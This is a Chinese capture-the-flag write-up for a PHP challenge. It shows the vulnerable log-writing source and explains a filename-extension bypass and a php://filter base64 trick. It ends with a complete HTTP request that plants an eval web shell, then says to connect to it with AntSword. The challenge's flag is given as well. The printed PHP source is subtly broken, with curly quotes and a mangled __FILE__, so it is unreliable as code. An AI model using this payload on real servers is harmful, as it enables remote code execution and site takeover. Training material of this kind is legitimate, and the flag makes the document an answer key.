[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-综合4 | 2 |
[题目考点]:
PHP综合训练
[Flag格式]:
SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2087
[题目writeup]:
<?php
if(isset($_GET['read-source'])) {exit(show_source(__FILE__));
}
define(‘DATA_DIR’, dirname(FILE) . ‘/data/’ . md5($_SERVER[‘REMOTE_ADDR’]));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST[‘domain’]) ? $_POST[‘domain’] : ‘’;
$log_name = isset($_POST[‘log’]) ? $_POST[‘log’] : date(’-Y-m-d’);
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf(“dig -t A -q %s”, escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER[‘SERVER_NAME’] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
分析题目代码,首先把眼光放在可以写入文件的地方
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output);
}
可以看到,文件名是由$_SERVER['SERVER_NAME']
和$log_name
两部分组成的。
$log_name
可以由$_POST['log']
来控制,至于$_SERVER['SERVER_NAME']
可以通过修改Host
头部进行控制。
在官方文档中表明,在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。
!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
可以看到在源代码中只进行了文件后缀名的判断,但并没有以获取到的文件后缀当作写入文件的后缀,就可以利用shell.php/.
的方式绕过。
观察写入文件内容,有一小部是用户可以自定义控制的,但是不能插入尖括号这些html字符,因为进行了一次转义。
这里可以利用php的伪协议,就可以控制写入文件的方式。base64解码中遇到不符合规范的字符直接跳过。所以虽然我们只能控制一部分内容,但是其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码。
需要注意的是base64中的=
只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=
发送数据包
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.17.87:2087/
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
domain=PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4y&log=://filter/write=convert.base64-decode/resource=2.php/.
蚁剑连接data目录下,MD5编码访问者ip目录下的2.php文件即可